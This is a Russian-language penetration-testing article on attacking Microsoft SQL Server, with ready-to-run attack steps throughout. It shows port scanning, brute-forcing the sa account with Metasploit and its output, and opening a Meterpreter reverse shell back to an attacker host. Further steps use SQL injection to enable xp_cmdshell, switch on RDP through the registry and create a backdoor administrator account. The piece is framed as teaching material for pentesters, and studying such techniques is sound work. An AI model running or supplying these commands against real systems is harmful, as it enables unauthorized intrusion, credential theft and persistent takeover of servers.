22.05.2015

ПРОВЕРЯЕМ НА ПРОЧНОСТЬ MS SQL ВЕКТОРЫ АТАК НА MS SQL SERVER

ПРОВЕРЯЕМ НА ПРОЧНОСТЬ MS SQL ВЕКТОРЫ АТАК НА MS SQL SERVER


Практически ни один серьезный
пентест не обходится без проверки
СУБД, ведь это одна из самых по-
пулярных у злоумышленников дверей
к желаемой информации и машине.
В крупных проектах в качестве СУБД
очень часто используется MS SQL
Server. И о проверке именно его без-
опасности мы сегодня и поговорим.
Открывать Америку не будем — опыт-
ные камрады лишь освежат свои
знания, а вот для тех, кто только на-
чинает осваивать тему, я постарался
максимально подробно разложить
все по пунктам.

ВВЕДЕНИЕ
Один из самых важных критериев надежно-
сти информационной системы — безопас-
ность СУБД. Атаки, направленные на нее,
в большинстве случаев критические, потому
что могут частично либо полностью нару-
шить работоспособность системы. Посколь-
ку крупные организации формировали свою
инфраструктуру давным-давно и обновление
на новые версии ПО вызывает у них «боль-
шие» проблемы, самыми распространенны-
ми версиями до сих пор остаются MS SQL
Server 2005 и MS SQL Server 2008. Но это все-
го лишь статистика, и далее мы будем рас-
сматривать общие для всех версий векторы
и техники. Для удобства условно разобьем
весь процесс пентеста на несколько этапов.

КАК НАЙТИ MS SQL
Первое, что начинает делать пентестер, — это собирать ин-
формацию о сервисах, расположенных на сервере жертвы.
Самое главное, что нужно знать для поиска Microsoft SQL
Server, — номера портов, которые он слушает. А слушает
он порты 1433 (TCP) и 1434 (UDP). Чтобы проверить наличие
MS SQL на сервере, надо его просканировать. Для этого мож-
но использовать Nmap cо скриптом ms-sql-info. Запускаться
сканирование будет примерно так (результат на рис. 1):

nmap -p 1433 --script=ms-sql-info 192.168.18.128

Помимо Nmap, есть отличный сканирующий модуль для Мета-
сплоита mssql_ping, позволяющий также определять наличие
MS SQL на атакуемом сервере:

msf> use auxilary/scanner/mssql/mssql_ping
msf auxilary(mssql_ping) > set RHOSTS 192.167.1.87
RHOSTS => 192.168.1.87
msf auxilary(mssql_ping) > run

Используя один из данных вариантов, можно быстренько
определить, установлен ли на сервере MS SQL, а также узнать
его версию. После чего можно переходить к следующему эта-
пу.
BRUTE FORCE
Допустим, СУБД на сервере мы обнаружили. Теперь стоит за-
дача получить к ней доступ. И тут нас встречает первое пре-
пятствие в виде аутентификации. Вообще, MS SQL поддержи-
вает два вида аутентификации:
1. Windows Authentication — доверительное соединение,
при котором SQL Server принимает учетную запись пользо-
вателя, предполагая, что она уже проверена на уровне опе-
рационной системы.
2. Смешанный режим — аутентификация средствами SQL
Server + Windows Authentication.
По умолчанию используется первый режим аутентифика-
ции, а смешанный режим активируется отдельно. На практике
же довольно трудно встретить базу без смешанного режима —
он более гибок.
Обычно на данном этапе мы не имеем доступа в корпора-
тивную сеть, тем самым использовать аутентификацию по-
средством Windows не можем. Но мы нашли открытый порт
с MS SQL, значит, пробуем побрутить админскую учетку sa,

Рис. 1. Сканирование
MS SQL при помощи
Nmap

Рис. 2. Сканирование
MS SQL при помощи
mssql_ping

стандартную для смешанного режима. Для автоматизации
процесса используем модуль Метасплоита mssql_login:

msf > use auxiliary/scanner/mssql/mssql_login
msf auxiliary(mssql_login) > set RHOSTS 172.16.2.104

RHOSTS => 172.16.2.104
msf auxiliary(mssql_login) > set PASS_FILE/root/
Desktop/pass.txt
[*] 172.16.2.104:1433 - MSSQL - Starting
authentication scanner.
[*] 172.16.2.104:1433 - LOGIN FAILED:WORKSTATION\
sa:admin (Incorrect: )
[*] 172.16.2.104:1433 - LOGIN FAILED:WORKSTATION\
sa:qwerty (Incorrect: )
[*] 172.16.2.104:1433 - LOGIN FAILED: WORKSTATION\
sa:toor (Incorrect: )
[+] 172.16.2.104:1433 - LOGIN SUCCESSFUL:
WORKSTATION\sa:root
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Отлично! Пароль найден, теперь можем переходить к сле-
дующему этапу. Но что, если учетки sa на сервере не окажет-
ся? Тогда придется брутить и логин, для чего необходимо бу-
дет указать скрипту еще один файл, откуда их брать:
msf auxiliary(mssql_login) > set USER_FILE /root/
Desktop/user.txt

ПОЛУЧЕНИЕ SHELL’А
В случае если у нас получилось сбрутить учетку sa, мы мо-
жем залогиниться в БД. Далее сценарий прост — включаем
хранимую процедуру, позволяющую выполнять команды
на уровне операционной системы, и заливаем на сервер
Meterpreter shell. Крутые ребята написали для Метасплоита
отличный модуль mssql_payload, который автоматизирует
этот процесс:

msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set RHOST 172.16.2.104
msf exploit(mssql_payload) > set USERNAME
sa USERNAME => sa
msf exploit(mssql_payload) > set PASSWORD root
PASSWORD => root
msf exploit(mssql_payload) > set PAYLOAD
windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(mssql_payload) > set LHOST
172.16.2.105 LHOST => 172.16.2.105
[*] Command Stager progress - 100.00% done
(102246/102246 bytes)
[*] Meterpreter session 1 opened (172.16.2.105:4444
-> 172.16.2.104:3987) at 2015-02-20 10:42:52
-0500 meterpreter >

Сессия Meterpreter’a создана, теперь ты имеешь полный
доступ. Можешь дампить хеш админа, делать скриншоты, со-
здавать/удалять файлы, включать/выключать мышь или клави-
атуру и многое другое. Пожалуй, это самый популярный шелл,
который используется при тестах на проникновение. Полный
список команд Meterpreter’a можно подсмотреть здесь: goo.
gl/FPyXME.

ЧТО ДЕЛАТЬ, ЕСЛИ ЛОГИН/ПАРОЛЬ НЕ СБРУТИЛСЯ?
Но не обольщайся, не так часто модуль mssql_login будет тебя
радовать: пароль админы очень редко оставляют дефолтным.
В таком случае получить шелл нам поможет SQL-инъекция.
Представь себе HTML-форму, в которую пользователь вводит
номер статьи, и простой уязвимый запрос к БД, причем все это
работает под админской учеткой sa:

$strSQL = “SELECT * FROM [dbo].[articles]
WHERE id=$id”;

Переменная $id никак не фильтруется, значит, можно про-
вести SQL-инъекцию, в которой любой запрос будет выполнен
из-под админской учетки sa. Для того чтобы выполнять коман-
ды на уровне операционной системы, необходимо активиро-
вать хранимую процедуру xp_cmdshell, которая по умолча-
нию выключена. Нам потребуется отправить четыре запроса
для ее активации:

1. 10; EXEC sp_confi gure 'show advanced options',1;
2. 10; reconfi gure;
3. 10; ‘exec sp_confi gure 'xp_cmdshell',1;
4. 10; reconfi gure

Системная хранимая процедура sp_confi gure позволяет
просматривать, документировать, изменять и восстанавли-
вать конфигурацию сервера. Наиболее простой способ полу-
чить доступ к серверу — включить RDP через реестр, создать
пользователя с админскими правами и подключиться.
Включаем RDP:

10; reg add "HKEY_LOCAL_MACHINE\SYSTEM\Current
ControlSet\Control\Terminal Server" /v fDeny
TSConnections /t REG_DWORD /d 0 /f

Создаем пользователя:
10; exec master.dbo.xp_cmdshell 'net user
root toor /ADD'

Даем права:
10;exec master.dbo.xp_cmdshell 'net
localgroup administrators root/add'